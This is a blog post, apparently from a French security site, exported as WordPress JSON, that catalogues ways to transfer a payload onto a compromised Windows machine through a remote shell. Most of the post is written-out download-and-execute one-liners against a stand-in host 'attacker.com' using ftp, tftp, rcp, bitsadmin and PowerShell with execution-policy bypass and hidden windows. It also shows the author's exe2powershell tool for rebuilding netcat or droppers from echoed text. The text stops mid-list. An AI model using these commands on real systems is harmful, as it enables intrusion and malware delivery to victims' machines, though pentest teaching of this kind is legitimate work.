{"id":1866,"date":"2016-03-02T13:57:57","date_gmt":"2016-03-02T11:57:57","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=1866"},"modified":"2016-03-16T14:33:20","modified_gmt":"2016-03-16T12:33:20","slug":"windows-dos-powershell-upload-de-fichier-en-ligne-de-commande-one-liner","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/windows-dos-powershell-upload-de-fichier-en-ligne-de-commande-one-liner\/","title":{"rendered":"[Windows \/ DOS \/ PowerShell] File upload in command line &#8211; one liner"},"content":{"rendered":"<p><\/p>\n<p style=\"text-align: center;\"><strong>How to upload \/ transfer a file through a shell \/ terminal DOS on Windows? There is no &#8220;wget&#8221; easy to use on these OS; many pentesters are being ripped hair to transmit a payload.exe when they gain a shell or <a href=\"https:\/\/www.asafety.fr\/reverse-shell-one-liner-cheat-sheet\/\" target=\"_blank\">reverse-shell<\/a> on a\u00a0compromised a machine.<\/strong><\/p>\n<p>Many methods exist, starting from solutions truly &#8220;old school&#8221; and outdated to the new that Microsoft delivers us with PowerShell.<\/p>\n<p>This article aims to centralize more of these methods, first to allow me to do housework in my archives and other hand to help\u00a0any pentesters on the new Windows versions.<\/p>\n<p>In writing this article, the creation of\u00a0&#8220;<strong>exe2powershell<\/strong>&#8221; has resulted. exe2powershell is the rebirth of <strong>exe2bat<\/strong>\u00a0compliant\u00a0with new Windows versions (7 x64, 2008R2, 2012, 8, 8.1, 10, etc.). All sources and tools presented in this article are available on my\u00a0<a href=\"https:\/\/github.com\/yanncam\/exe2powershell\" target=\"_blank\">GitHub repository<\/a>.<\/p>\n<h1>History, pas and present reasons to upload via a shell<\/h1>\n<p>The older will remember the days of old IIS versions, in the 2000s, especially with a lovely vulnerability affecting IIS 4.0 and 5.0 called &#8220;the Unicode flaw&#8221;. This provided a shell directly through the URL by encoding in Unicode the sequence &#8220;..\/&#8221; to go back to the call of &#8220;cmd.exe&#8221;.<\/p>\n<div id=\"attachment_1869\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/iis5_unicode.png\" rel=\"attachment wp-att-1869\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1869\" class=\"wp-image-1869 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/iis5_unicode-300x97.png\" alt=\"Faille unicode IIS 5.0\" width=\"300\" height=\"97\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/iis5_unicode-300x97.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/iis5_unicode.png 606w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1869\" class=\"wp-caption-text\">Faille unicode IIS 5.0<\/p><\/div>\n<p>This &#8220;remote command execution&#8221; (RCE) was obviously not\u00a0interactive: the command &#8220;telnet&#8221;, &#8220;edit&#8221; or even &#8220;ftp&#8221; did not allow for further interaction with the shell. He had orders to &#8220;one-shot&#8221; commands directly returning a result. In other words, only &#8220;one-liners&#8221; commands are allowed to compromise\u00a0a server as part of a pentest.<\/p>\n<p>During\u00a0pentest, obtaining a shell is usually the Grail: <strong>a shell obtained on a machine clearly means his end.<\/strong>\u00a0This is not the final step, the attacker will try to escalate\u00a0the privileges to perpetuate its access (deployment of a backdoor, RAT, rootkit), it will look at his tracks and will exploit resources for its purposes (botnet, spam, stromaking, spying&#8230;). But between getting an RCE\u00a0\/ shell and this purpose, it needs to increase its influence on the system.<\/p>\n<p>As shown with the &#8220;Unicode flaw&#8221;, remote commands execution on a system can take various forms:<\/p>\n<ul>\n<li>Through a URL<\/li>\n<li>Via the arbitrary change of environment variable<\/li>\n<li>By exploiting unprotected user input<\/li>\n<li>Etc.<\/li>\n<\/ul>\n<p>Long before the emergence and mass adoption of frameworks and fabulously wealthy kits to powerful tools such as <a href=\"http:\/\/www.metasploit.com\/\" target=\"_blank\">MSF<\/a> or <a href=\"http:\/\/blog.gentilkiwi.com\/mimikatz\" target=\"_blank\">mimikatz<\/a> the pentester should equip the compromised machine with a multitude of binary executables to achieve his ends, which is of particular interest to the question &#8220;<strong>How to upload a file through Windows command line?<\/strong>&#8221;<\/p>\n<p>Today, the pentesters seek ease and especially avoid reinventing the wheel. What better than to establish a Meterpreter reverse-shell, allowing to have the fabulous tool box and the power of <a href=\"http:\/\/www.metasploit.com\/\" target=\"_blank\">Metasploit<\/a>?<\/p>\n<p>Through the execution of remote commands the attacker has, the idea will be to transfer a payload (payload.exe, calculator calc.exe in the examples below), which will allow him to dispose of a truly interactive shell once charged on the victim side (dropper).<\/p>\n<p>The methods that follow, more or less old (but not as much non-functional) can transfer an arbitrary file &#8220;payload.exe&#8221; in command line to\u00a0a compromised machine.<\/p>\n<h1>The various methods to upload<\/h1>\n<h2>FTP.EXE : the traditional for\u00a0&#8220;stromaking&#8221;<\/h2>\n<p>The method with &#8220;ftp.exe&#8221; (File Transfer Protocol &#8211; port 21 TCP), Windows native binary located in &#8220;% systemroot%\\System32\\ftp.exe&#8221;, retrieve file &#8220;payload.exe&#8221; hosted on a FTP server controlled by the attacker.<br \/>\nUsed interactively, all syntaxes &#8220;FTP&#8221; can also be scripted:<\/p>\n<pre>open attacker.com 21\r\nUSER attacker\r\nPASS PaSsWoRd\r\nbinary\r\nGET \/payload.exe\r\nquit<\/pre>\n<p>The &#8220;interactive&#8221; aspect\u00a0is somewhat embarrassing, especially when we encounter RCE similar to IIS5 today. Thus, the idea is to design a &#8220;ftp.txt&#8221; file that will list all the commands, and then call the command &#8220;ftp&#8221; with the attribute &#8220;-s: ftp.txt&#8221; to automatically chaining these actions :<\/p>\n<pre>@echo open attacker.com 21&gt; ftp.txt\r\n@echo USER attacker &gt;&gt; ftp.txt\r\n@echo PASS PaSsWoRd &gt;&gt; ftp.txt\r\n@echo binary &gt;&gt; ftp.txt\r\n@echo GET \/payload.exe &gt;&gt; ftp.txt\r\n@echo quit &gt;&gt; ftp.txt\r\nftp -s:ftp.txt -v<\/pre>\n<p>One-liner version :<\/p>\n<pre>cmd.exe \/c \"@echo open attacker.com 21&gt;ftp.txt&amp;@echo USER attacker&gt;&gt;ftp.txt&amp;@echo PASS PaSsWoRd&gt;&gt;ftp.txt&amp;@echo binary&gt;&gt;ftp.txt&amp;@echo GET \/payload.exe&gt;&gt;ftp.txt&amp;@echo quit&gt;&gt;ftp.txt&amp;@ftp -s:ftp.txt -v\"<\/pre>\n<p>Very popular in the days of &#8220;stromaking&#8221; (hidden occupation and usurpation of available disk space on servers in order to store\u00a0any kind of content, including &#8220;warez&#8221;), sysadmins had found a solution: remove the binary &#8220;ftp.exe&#8221; of System32. Of course, it can be regenerated \/ returned to its place &#8230;<\/p>\n<h2>TFTP.EXE : the must in\u00a0IIS 5 times !<\/h2>\n<p>When sysadmins deleted\u00a0by preventing the &#8220;ftp.exe&#8221;, the attackers fell back on &#8220;tftp.exe&#8221; (Trivial File Transfer Protocol). Also native Windows System32 binary but disabled\u00a0by default after Windows XP \/ 2003, this tool from the command line allows file download\u00a0in a single line (one-liner) via a UDP channel on port 69 by default.<\/p>\n<p>As before, the attacker must have a TFTP server under his control so that the compromised machine comes seek his payload.exe. Such TFTP server is easily implemented with <a href=\"https:\/\/github.com\/msoulier\/tftpy\" target=\"_blank\">tftpy<\/a> in Python, <a href=\"http:\/\/tftpd32.jounin.net\/\" target=\"_blank\">Tftpd32\/64<\/a>\u00a0in\u00a0Windows or Linux <a href=\"http:\/\/linux.die.net\/man\/8\/atftpd\" target=\"_blank\">atftp<\/a>.<\/p>\n<p>Then, with one-liner command:<\/p>\n<pre>tftp -i attacker.com\u00a0get payload.exe<\/pre>\n<p>Regularly used at the time to transmit binary via Unicode flaw (nc.exe), this method is now considered obsolete because\u00a0the binary &#8220;tftp.exe&#8221; is no more present by default in the Windows OS.<\/p>\n<div id=\"attachment_1873\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/iis5_unicode_2.png\" rel=\"attachment wp-att-1873\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1873\" class=\"wp-image-1873 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/iis5_unicode_2-300x208.png\" alt=\"Faille Unicode IIS5.0 upload via TFTP\" width=\"300\" height=\"208\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/iis5_unicode_2-300x208.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/iis5_unicode_2-768x532.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/iis5_unicode_2.png 1001w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1873\" class=\"wp-caption-text\">Faille Unicode IIS5.0 upload via TFTP<\/p><\/div>\n<h2>RCP : Remote Copy Command, the little forgotten&#8230;<\/h2>\n<p>rcp.exe is a System32 binary too which is part of the &#8220;R-command&#8221; utilities of Windows. This one is not present by default since Windows 7, like\u00a0RSH:<\/p>\n<blockquote><p>Not available by default in Windows 7 but can be enabled by turning on the Subsystem for UNIX-based Applications Windows feature from Programs and Features in Control Panel and then installing the Utilities and SDK for UNIX-based Applications.<\/p><\/blockquote>\n<p>This tool allows you to recover files as TFTP, with an authentication phase. Rarely used compared to\u00a0FTP.exe or TFTP.exe, sysadmins forgot\u00a0renaming or deleting it.<\/p>\n<p>As for the TFTP method, it is necessary on the attacker\u00a0side to set up a &#8220;RCP server.&#8221; This can be done very simply by using the tool &#8220;<strong>rcp32bit.exe<\/strong>&#8220;. Once executed, this server will extract a multitude of files. To configure the server, open the executable &#8220;<strong>QVTNET32.EXE<\/strong>&#8220;, visit the &#8220;<strong>Service<\/strong>&#8221; tab, then &#8220;<strong>Server<\/strong>&#8220;. Check &#8220;<strong>Set default<\/strong>&#8221; and enable &#8220;<strong>RCP Server<\/strong>&#8220;. Finally, in the &#8220;<strong>Password File<\/strong>&#8221; field, enter an authentication filename like &#8220;<strong>rcpass.txt<\/strong>&#8221;<\/p>\n<div id=\"attachment_1893\" style=\"width: 271px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/rcp1.jpg\" rel=\"attachment wp-att-1893\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1893\" class=\"wp-image-1893 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/rcp1-261x300.jpg\" alt=\"Configuration serveur RCP\" width=\"261\" height=\"300\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/rcp1-261x300.jpg 261w, https:\/\/www.asafety.fr\/wp-content\/uploads\/rcp1-300x345.jpg 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/rcp1.jpg 374w\" sizes=\"auto, (max-width: 261px) 100vw, 261px\" \/><\/a><p id=\"caption-attachment-1893\" class=\"wp-caption-text\">Configuration serveur RCP<\/p><\/div>\n<p>Save this configuration and leave open the application so that the server is still listening.<br \/>\nIt is necessary now to generate credentials (login \/ password) for\u00a0the RCP server. Via a command prompt, use the binary &#8220;<strong>PASSWD.exe<\/strong>&#8221; included in the package &#8220;rcp32bit.exe&#8221; :<\/p>\n<pre>C:\\RCP&gt;PASSWD.EXE\u00a0rcpass.txt\r\nWinQVT\/Net Password File Utility\r\nNew file.\r\nUsernames:\r\nEnter Option (C[number]=Change, A=Add, D[number]=Delete, E=Exit): a\r\nAdd User: Admin\r\nUsername: Admin\r\nPassword:\r\nVerify:\r\nUsernames:\r\n1. Admin\r\nEnter Option (C[number]=Change, A=Add, D[number]=Delete, E=Exit): e<\/pre>\n<p>The RPC server is set up with the account.<\/p>\n<p>In the compromised machine side, it only remains to initiate the transfer using the command:<\/p>\n<pre>rcp.exe -b attacker.com.Admin:payload.exe payload.exe<\/pre>\n<div id=\"attachment_1895\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/rcp2.jpg\" rel=\"attachment wp-att-1895\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1895\" class=\"wp-image-1895 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/rcp2-300x175.jpg\" alt=\"Transfert de fichier via RCP\" width=\"300\" height=\"175\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/rcp2-300x175.jpg 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/rcp2.jpg 502w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1895\" class=\"wp-caption-text\">Transfert de fichier via RCP<\/p><\/div>\n<h2>CSCRIPT.EXE : The\u00a0WSH method (Windows Scripting Host)<\/h2>\n<p>&#8220;Windows Scripting Host&#8221; (WSH) scripts can also be used via the generation of a * .vbs file and use the binary &#8220;cscript.exe&#8221; natively under Windows environments.<\/p>\n<p>Such scripts offer many opportunities for an attacker, including file recovery rarely filtered through the HTTP protocol (for example x.vbs):<\/p>\n<div id=\"attachment_1929\" style=\"width: 160px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xsh1.png\" rel=\"attachment wp-att-1929\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1929\" class=\"wp-image-1929 size-thumbnail\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xsh1-150x150.png\" alt=\"xsh script\" width=\"150\" height=\"150\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xsh1-150x150.png 150w, https:\/\/www.asafety.fr\/wp-content\/uploads\/xsh1-58x58.png 58w, https:\/\/www.asafety.fr\/wp-content\/uploads\/xsh1-370x367.png 370w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a><p id=\"caption-attachment-1929\" class=\"wp-caption-text\">xsh script<\/p><\/div>\n<p>Download through HTTP and execute version one-liner:<\/p>\n<div id=\"attachment_1930\" style=\"width: 160px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xsh2.png\" rel=\"attachment wp-att-1930\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1930\" class=\"wp-image-1930 size-thumbnail\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xsh2-150x150.png\" alt=\"xsh one-liner\" width=\"150\" height=\"150\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xsh2-150x150.png 150w, https:\/\/www.asafety.fr\/wp-content\/uploads\/xsh2-58x58.png 58w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a><p id=\"caption-attachment-1930\" class=\"wp-caption-text\">xsh one-liner<\/p><\/div>\n<div id=\"attachment_1879\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/WSH.png\" rel=\"attachment wp-att-1879\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1879\" class=\"wp-image-1879 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/WSH-300x117.png\" alt=\"WSH download and execute payload\" width=\"300\" height=\"117\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/WSH-300x117.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/WSH-768x299.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/WSH-1024x399.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/WSH.png 1739w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1879\" class=\"wp-caption-text\">WSH download and execute payload<\/p><\/div>\n<p><strong>Note<\/strong> : The HTTP return code of the request\u00a0must be a &#8220;200 OK&#8221; in\u00a0the previous script. No redirection 302\/303.<\/p>\n<h2>BITSadmin :\u00a0interactive new tool since Windows 7<\/h2>\n<p>A new tool in console mode was introduced with Windows 7. This is called &#8220;Bitsadmin.exe&#8221; and retrieves (or send) files with command line. This tool provided details of the progress of interactively download. However, it is fully operable via a simple shell (like a Netcat for example). Another advantage is that in case of network\u00a0failure, bitsadmin is able to suspend transfers and resume once connection is restored.<\/p>\n<pre>cmd.exe \/c \"bitsadmin \/transfer myjob \/download \/priority high http:\/\/attacker.com\/payload.exe %tmp%\\payload.exe&amp;start %tmp%\\payload.exe\"<\/pre>\n<div id=\"attachment_1878\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/BITSadmin.png\" rel=\"attachment wp-att-1878\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1878\" class=\"wp-image-1878 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/BITSadmin-300x267.png\" alt=\"BITSadmin download and execute payload\" width=\"300\" height=\"267\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/BITSadmin-300x267.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/BITSadmin.png 598w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1878\" class=\"wp-caption-text\">BITSadmin download and execute payload<\/p><\/div>\n<p>Bitsadmin is no more destined to be used (replaced by PowerShell cmdlets); it\u00a0also tells at its launch:<\/p>\n<blockquote><p>BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.<br \/>\nAdministrative tools for the BITS service are now provided by BITS PowerShell cmdlets.<\/p><\/blockquote>\n<h2>PowerShell, the powerfull&#8230;<\/h2>\n<p>PowerShell, finally a true &#8220;shell&#8221; syntax, functions and features\u00a0for Windows environments &#8230; With the arrival of this Microsoft &#8220;shell ++&#8221; on the latest environment (since Windows 7\/2008), commands to retrieve files directly followed. The idea is to use the binary &#8220;powershell.exe&#8221; natively on the latest versions of Windows coupled with a PowerShell script (*.ps1) or through a PowerShell syntax directly from the command line (eval). Example x.ps1:<\/p>\n<pre>$down = New-Object System.Net.WebClient\r\n$url = 'http:\/\/attacker.com\/payload.exe';\r\n$file = 'payload.exe';\r\n$down.DownloadFile($url,$file);\r\n$exec = New-Object -com shell.application\r\n$exec.shellexecute($file);<\/pre>\n<p>Command line execution<\/p>\n<pre>powershell.exe -executionpolicy bypass -file x.ps1<\/pre>\n<p>The PowerShell code can be transmitted directly from the command line without the need to create a file on the file system:<\/p>\n<pre>powershell (New-Object System.Net.WebClient).DownloadFile('http:\/\/attacker.com\/payload.exe','payload.exe');Start-Process 'payload.exe'<\/pre>\n<div id=\"attachment_1880\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/PowerShell.png\" rel=\"attachment wp-att-1880\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1880\" class=\"wp-image-1880 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/PowerShell-300x100.png\" alt=\"PowerShell download and execute payload\" width=\"300\" height=\"100\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/PowerShell-300x100.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/PowerShell-768x256.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/PowerShell-1024x341.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/PowerShell.png 1586w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1880\" class=\"wp-caption-text\">PowerShell download and execute payload<\/p><\/div>\n<p>Or\u00a0:<\/p>\n<pre>powershell (New-Object System.Net.WebClient).DownloadFile('http:\/\/attacker.com\/payload.exe','payload.exe');(New-Object -com Shell.Application).ShellExecute('payload.exe');<\/pre>\n<h2>exe2bat and\u00a0debug.exe<\/h2>\n<p>Another method especially &#8220;old school&#8221; is to convert a *.exe (the payload) into printable ASCII character on the screen (thus a hex form). This long hexadecimal string will be placed on the compromised machine in a simple text file via &#8220;echo&#8221; commands.<\/p>\n<p>Then, later, the native binary &#8220;debug.exe&#8221; in olf Windows (not present since Windows 7 x64, but is still on Windows 7 32bit), can be used to regenerate the original binary payload.exe from its hexadecimal code.<\/p>\n<p>This method requires several factors:<\/p>\n<ul>\n<li>The compromised host machine must have &#8220;<strong>debug.exe<\/strong>&#8221; (Windows &lt;= 7 x86): this binary was retained for reasons of backward compatibility. Indeed it is a 16-bit program obsolete today.<\/li>\n<li>The file &#8220;payload.exe&#8221; should not over <strong>65,280 bytes (64kB default)<\/strong>. This limit can be increased by changing the source of the tool &#8220;exe2bat.exe&#8221;.<\/li>\n<li><strong>exe2bat.exe<\/strong>: that tool to convert a *.exe less than 64kB to its hexadecimal value. This tool is available as Kali (\/usr\/share\/windows-binaries\/exe2bat.exe) or in the package available for download within this article. This tool can be detected as a &#8220;hacktool&#8221; by some antivirus.<\/li>\n<li><strong>upx.exe<\/strong>: to compress binary before\u00a0to be converted by exe2bat.<\/li>\n<\/ul>\n<p>The binary (payload.exe) to be converted to hexadecimal (.bat) via exe2bat must be the smallest possible. Exe2bat operates\u00a0perfectly to regenerate the &#8220;ftp.exe&#8221; or &#8220;tftp.exe&#8221; that sysadmins suppressed by prevention. It is also suitable for &#8220;nc.exe&#8221; or payloads \/ droppers very small generated by msfvenom.<\/p>\n<p>To maximize the conversion of a binary, it is advisable to compress the binary via &#8220;UPX&#8221; before his BAT conversion. Take the example of Netcat makes 61,440 bytes in its original version. It can be compressed via UPX:<\/p>\n<pre>C:\\Users\\admin\\Desktop&gt;upx nc.exe\r\n Ultimate Packer for eXecutables\r\n Copyright (C) 1996 - 2013\r\nUPX 3.91w Markus Oberhumer, Laszlo Molnar &amp; John Reiser Sep 30th 2013\r\nFile size Ratio Format Name\r\n -------------------- ------ ----------- -----------\r\n 61440 -&gt; 30720 50.00% win32\/pe nc.exe\r\nPacked 1 file.<\/pre>\n<p>The size of Netcat is divided by two\u00a0(30720 bytes), without altering its original feature.<\/p>\n<p>It only remains to convert the 30kB binary via exe2bat:<\/p>\n<pre>C:\\Users\\admin\\Desktop&gt;exe2bat.exe nc.exe nc.txt\r\nFinished: nc.exe &gt; nc.txt<\/pre>\n<p>The resulting nc.txt file lists all the hexadecimal code of &#8220;nc.exe compressed by UPX&#8221; with commands &#8220;echo&#8221; and &#8220;debug&#8221; for final reconstruction of the original binary:<\/p>\n<div id=\"attachment_1882\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/exe2bat.png\" rel=\"attachment wp-att-1882\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1882\" class=\"wp-image-1882 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/exe2bat-300x169.png\" alt=\"exe2bat nc.exe compress\u00e9 en UPX\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/exe2bat-300x169.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/exe2bat-768x433.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/exe2bat-1024x578.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/exe2bat-370x208.png 370w, https:\/\/www.asafety.fr\/wp-content\/uploads\/exe2bat.png 1196w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1882\" class=\"wp-caption-text\">exe2bat nc.exe compress\u00e9 en UPX<\/p><\/div>\n<p>Linking these commands on the compromised machine, the original &#8220;nc.exe&#8221; will be created on the server.<\/p>\n<p><strong>Reminder<\/strong>: this methodology requires the use of &#8220;debug.exe&#8221; an obsolete 16-bit application that is no more present on Windows systems since\u00a0Windows 7 x64. For newer versions of Windows, see the next\u00a0methodology.<\/p>\n<h2>exe2powershell : exe2bat reborn !<\/h2>\n<p>In view of the above detailed limitations exe2bat, I undertook to create &#8220;<strong><a href=\"https:\/\/github.com\/yanncam\/exe2powershell\" target=\"_blank\">exe2powershell<\/a><\/strong>&#8221; which overcomes these problems environments. So &#8220;exe2powershell&#8221; is fully functional on modern Windows, especially x64 architectures (Windows 7&#215;64, Windows 2008R2, Windows 8 \/ 8.1, Windows 2012, Windows 10).<\/p>\n<p>The idea is similar to exe2bat: generate a * .bat file containing a multitude of &#8220;echo&#8221; lines of displayable code (in decimal this time) of a binary (payload.exe) input. Then, once the file is recreated on the compromised machine, calling a PowerShell command to reconstruct the original binary.<\/p>\n<p style=\"text-align: center;\"><strong>No more need to &#8220;debug.exe!&#8221; PowerShell can replace it!<\/strong><\/p>\n<p>Also, I removed the limitation of 64kB input\u00a0file. The operation is described below.<\/p>\n<p>You can create a text file (payload.txt) containing the image of a binary to decimal (payload.exe).<\/p>\n<pre>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -Command \"[byte[]] $hex = get-content -encoding byte -path payload.exe;[System.IO.File]::WriteAllLines('payload.txt', ([string]$hex))\"<\/pre>\n<p>The regeneration of the original binary is done with the following command:<\/p>\n<pre>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -Command \"[string]$hex = get-content -path payload.txt;[Byte[]] $temp = $hex -split ' ';[System.IO.File]::WriteAllBytes('payload2.exe', $temp)\"<\/pre>\n<p>The problem is that the text file &#8220;payload.txt&#8221; is relatively large (several thousand characters for Netcat for example), and\u00a0the Windows shell truncate too long command. Thus, it is not possible to:<\/p>\n<pre>echo VERY_LONG_PAYLOAD.TXT_CONTENT &gt; payload.txt<\/pre>\n<p>We must cut this large payload composed of decimal characters with several\u00a0&#8220;echo&#8221;, set at 128 characters in exe2powershell. Each of these &#8220;echo&#8221; commands should be played one after another for remote reproduce the &#8220;payload.txt&#8221;. Once regenerated this file, the previous PowerShell command to rebuild the original executable can be run.<\/p>\n<p>All operation was integrated into &#8220;exe2powershell&#8221; which is based on the original &#8220;exe2bat&#8221; code. Usage\u00a0is as follows:<\/p>\n<pre>C:\\Users\\admin\\Desktop&gt;exe2powershell.exe nc.exe nc.bat\r\n\r\n [ exe2bat reborn in exe2powershell for modern Windows ]\r\n [ initial author ninar1, based on riftor work, and modernized by ycam ]\r\n [ exe2powershell version 1.0 - keep up to date : www.asafety.fr ]\r\n\r\n [*] Finished: nc.exe &gt; nc.bat<\/pre>\n<p>Output BAT file :<\/p>\n<div id=\"attachment_1887\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/exe2powershell.png\" rel=\"attachment wp-att-1887\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1887\" class=\"wp-image-1887 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/exe2powershell-300x158.png\" alt=\"exe2powershell r\u00e9sultats\" width=\"300\" height=\"158\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/exe2powershell-300x158.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/exe2powershell-768x406.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/exe2powershell-1024x541.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/exe2powershell.png 1674w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1887\" class=\"wp-caption-text\">exe2powershell r\u00e9sultats<\/p><\/div>\n<h2>Other non-native tools in Windows<\/h2>\n<p>Several small binary tools used on the command line are available for Windows, including &#8220;hget&#8221;, &#8220;wget&#8221; or &#8220;FTPit&#8221;.<\/p>\n<p>These can be sent on a compromised machine to facilitate subsequent future binary downloads.<\/p>\n<ul>\n<li><strong>wget.exe<\/strong>: the traditional &#8220;wget&#8221; Unix \/ Linux ported to Windows environments. wget.exe is 159KB and UPX compressed version is 72KB, which is still &#8220;too much&#8221; to transfer it via the binary method exe2bat (but all other methods remain functional, including exe2powershell).<\/li>\n<li><strong>hget.exe<\/strong>: compared to\u00a0the size of wget.exe even compressed with UPX, followers of &#8220;exe2bat&#8221; method have crushed their brains to produce binary very small sizes performing the same actions. hget is an alternative to wget (http \/ ftp), already compressed by UPX and making only 4,50KB. The exe2bat or exe2powershell versions held in 80 lines! The disadvantage is that hget.exe is regularly detected as &#8220;hacktool&#8221; for these reasons &#8230;<\/li>\n<li><strong>ftpit.exe<\/strong>: for the same reasons as hget.exe, FTPit (ASM source code available) is a minimalist FTP client on Windows to retrieve local files to a remote FTP server. Weighing only 1.5KB, its exe2bat versions exe2powershell boil down to less than 30 lines.<\/li>\n<\/ul>\n<p>Many other non-native Windows tools exist, destined to replace or add file transfer functionality on these OS. Developers do not lack imagination and keep in mind the concept of &#8220;small&#8221; binary to easily transfer via exe2bat or exe2powershell.<\/p>\n<h1>Conclusion\u00a0and download<\/h1>\n<p>A pentester always find a way to upload files on a compromised machine via a &#8220;remote command execution&#8221;. Although sysadmins have deleted ftp.exe, tftp.exe or rcp.exe from System32.<\/p>\n<p>These methods are still relevant in today&#8217;s time in 2016. The drafting of this article has begun after\u00a0a pentest I realized last week when I am faced with these issues on a Windows Server 2008 R2 particularly restrained.<\/p>\n<p>Having concluded that only the &#8220;exe2bat&#8221; method can be exploited, I quickly found that it was no longer functional on the new Windows, hence the motivation to create <a href=\"https:\/\/github.com\/yanncam\/exe2powershell\" target=\"_blank\">exe2powershell<\/a>.<\/p>\n<p>Tools, converter and compressor, and all binary discussed in this article have been centralized in a <a href=\"https:\/\/github.com\/yanncam\/exe2powershell\" target=\"_blank\">downloadable package here<\/a>.<\/p>\n<ul>\n<li><strong>bin<\/strong> 